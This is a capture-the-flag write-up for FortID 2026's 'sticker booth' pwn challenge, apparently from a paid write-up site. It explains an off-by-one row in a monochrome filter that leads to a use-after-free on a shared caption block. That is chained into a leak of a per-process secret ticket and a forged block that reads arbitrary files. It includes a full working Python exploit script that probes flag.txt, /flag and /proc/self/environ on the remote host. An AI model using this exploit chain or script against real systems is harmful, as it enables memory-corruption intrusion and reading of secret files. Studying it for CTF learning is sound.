$ cat writeup.md…
$ cat writeup.md…
fortid2026
Task: pwn a static x86-64 sticker recipe runner with a custom pool allocator, an off-by-one row in the mono filter, and refcount-based caption sharing. Solution: leak the per-process booth_ticket by chaining the off-by-one into a refcount-zeroing UAF, then forge a file-backed block to read arbitrary files.
Sticker booth recipe runner. Customize your stickers and print them out.
Static x86-64 ELF (chall), not stripped, no PIE, full RELRO, stack canary.
Input is a line-based "recipe" of commands. Supporting files:
recipe_docs.md, sample.recipe, and assets/{heart,star,smile}.txt.
Remote is reachable over TLS: ncat --ssl <host> 1337.
Commands understood by the runner:
| Command | Meaning |
|---|---|
photo <name> <w> <h> <hex-pixels> | create a photo item (RGBA pixels) |
caption <name> <text> | create a caption item (text) |
builtin <name> <asset> | load assets/<asset>.txt into a text item |
mono <name> | apply a monochrome filter to a photo |
remove <name> | drop an item |
upload <name> <hex> | store arbitrary raw bytes as a custom item |
print | render every item |
Goal: read flag.txt (present in the working directory on the remote).
The program implements its own bump/pool allocator xalloc over a 0x4000-byte
static pool at 0x4ad640:
top, nblocks, and blocks[64];blocks[i] entry is { size = pool offset (qword@0), reqsize (qword@8), used (int@0x10) };reqsize (the real length) and only accepts
requested <= reqsize, so the allocator's reuse logic is itself safe;memset to zero over the whole block length.Items are Items[32], 0x28 bytes each: name[24], type@0x18
(0 empty, 1 photo, 2 caption/builtin, 3 upload), data ptr@0x20.
A data block has this layout:
+0x00 refcount (u16)
+0x02 kind byte (1 = text payload, 2 = file-backed)
+0x03 valid flag
+0x04 length (u32)
+0x08 booth_ticket (only meaningful for builtin blocks)
+0x10 payload (text / asset path / RGBA pixels)
booth_ticket is 8 random bytes read once from /dev/urandom at startup. If the
read returns fewer than 8 bytes it is set to 0; if /dev/urandom cannot be opened
it becomes time(0) ^ stack_addr ^ 0x5b007b007d005d00. It is generated per
process, which is the single most important operational constraint (see below).
mono off-by-one out-of-bounds writeThe monochrome filter's row loop condition is cmp row+1, height; jae, so it
iterates rows 0..height inclusive — that is height+1 rows, one too many. The
extra row zeroes width*4 bytes immediately past the photo allocation, spilling
into whatever block was allocated next. Each 4-byte pixel group has bytes 0,1,2
zeroed while byte 3 (alpha) is left untouched. Choosing W >= 2 makes W*4
exceed the 8-byte alignment padding, so the row reliably reaches the following
block.
caption shares an existing caption data block when its kind is 1, the length
matches and the contents match, incrementing the block refcount at +0. Two
captions with identical text therefore share one data block with refcount 2.
If a photo is allocated immediately before that shared block and mono is run on
it, the off-by-one row zeroes the shared block's refcount (and kind byte) to 0.
remove on one caption then sees refcount 0, frees the block, while the other
caption still points at it — a dangling pointer into the pool. upload later
reuses that freed block and writes attacker-controlled bytes, which the dangling
type-2 caption reinterprets (type confusion).
builtin allocates a fresh block with *data = 0x01020001 (refcount 1, kind 2,
valid 1), data+4 = strlen(path), data+8 = booth_ticket, and copies the fixed
asset path into the payload.
On print, a type-2 item with kind == 1 performs
fwrite(data+0x10, 1, *(u32*)(data+4)). For kind == 2 the program opens/reads
the file only when data[2]==2 && data[3]!=0 && *(u64*)(data+8)==booth_ticket,
copying data[4] (<= 0x7f) bytes beginning at data+0x10 as the path. So an
arbitrary file read requires knowing the 8 leaked ticket bytes.
booth_ticketRun in a single connection:
photo P 4 1 ff0000ff*4 — allocates 0x20 and spills exactly into the next block.caption C1 HELLOWORLD12caption C2 HELLOWORLD12 — shares C1's block F, refcount 2.mono P — the extra row zeroes F.refcount to 0 and corrupts F's header.remove C1 — refcount 0 frees F; C2 is now dangling.upload U <kind=1, len=0x60, rest junk> — U reuses F.builtin B1 heart — a fresh block with the real ticket lands right after F.print — C2 does fwrite(data+0x10, 0x60), leaking B1's header: the 8-byte
ticket sits immediately before the literal string assets/heart.txt.Parsing the output for assets/heart.txt and taking the 8 preceding bytes yields
the ticket.
remove Uupload U2 <0x20-byte forged block> with +0 refcount=1, +2 kind=2,
+3 valid=1, +4 pathlen, +8 = leaked ticket, +0x10 = target path
(e.g. flag.txt).print — the dangling C2 now passes the ticket gate and opens the chosen
path, dumping its contents.Repeat remove Un / upload U{n+1} / print in the same session to probe other
paths (flag.txt, /flag, /proc/self/environ, ...).
The entire chain must run in one TCP/TLS session. booth_ticket is regenerated
per process, so a ticket leaked on one connection is useless on another; the leak
and the forged read must happen in the very same process/connection.
#!/usr/bin/env python3 import socket, ssl, time, sys OUT = sys.stdout.buffer def log(*a): OUT.write((" ".join(str(x) for x in a) + "\n").encode()); OUT.flush() HOST, PORT = "sticker-booth-619a9f8ae3f5.inst18.ctf.fortid.com", 1337 class Sock: def __init__(self, host, port): ctx = ssl.create_default_context(); ctx.check_hostname = False; ctx.verify_mode = ssl.CERT_NONE s = socket.create_connection((host, port), timeout=15) self.s = ctx.wrap_socket(s, server_hostname=host) self.s.settimeout(0.3) def send(self, data): if isinstance(data, str): data = data.encode() self.s.sendall(data + b"\n") def drain(self, quiet=0.9, maxt=25): out = b""; end = time.time() + maxt; last = time.time() while time.time() < end: try: d = self.s.recv(4096) if not d: break out += d; last = time.time() except socket.timeout: if time.time() - last > quiet: break except Exception: break return out def leak_cmds(): return [ "photo P 4 1 " + "ff0000ff" * 4, "caption C1 HELLOWORLD12", "caption C2 HELLOWORLD12", "mono P", # zero F.refcount, corrupt header "remove C1", # frees F, C2 dangling "upload U " + bytes([0, 0, 1, 0, 0x60, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]).hex(), "builtin B1 heart", # real ticket lands after F "print", # C2 leaks B1 header incl. ticket ] def forged(ticket, path): path = path.encode() b = bytearray(0x20) b[0:2] = (1).to_bytes(2, "little") # refcount b[2] = 2 # kind = file b[3] = 1 # valid b[4:8] = len(path).to_bytes(4, "little") b[8:16] = ticket # leaked booth_ticket b[0x10:0x10 + len(path)] = path return bytes(b) def main(): c = Sock(HOST, PORT) c.drain(1.0) for line in leak_cmds(): c.send(line) out = c.drain() i = out.find(b"assets/heart.txt") if i < 0: OUT.write(b"NO MARKER\n" + out + b"\n"); return ticket = out[i - 8:i] log("TICKET", ticket.hex()) occupied, n = "U", 2 paths = ["flag.txt", "/flag", "flag", "/flag.txt", "/proc/self/environ"] for path in paths: c.send("remove %s" % occupied) name = "U%d" % n c.send("upload %s " % name + forged(ticket, path).hex()) c.send("print") out = c.drain() occupied, n = name, n + 1 log("=== path", path, "===") OUT.write(out[:400] + b"\n"); OUT.flush() c.s.close() if __name__ == "__main__": main()
The recovered value matched the event's flag format and flag.txt was readable
directly from the working directory (FortID{REDACTED}).
Use this technique when:
blocks[] table of {offset, reqsize, used} entries — enumerate the reuse
comparison before assuming an overflow.cmp row+1, height; jae — off-by-one row range gives
a controlled spill over the following heap block.booth_ticket, read from /dev/urandom)
gates a file read — you must leak and use it within the same connection.0x7f bytes hint the payload is a
forgeable in-heap structure.$ cat /etc/motd
Liked this one?
Pro unlocks every complete writeup and expanded API access. $9/mo.
$ cat pricing.md$ grep --similar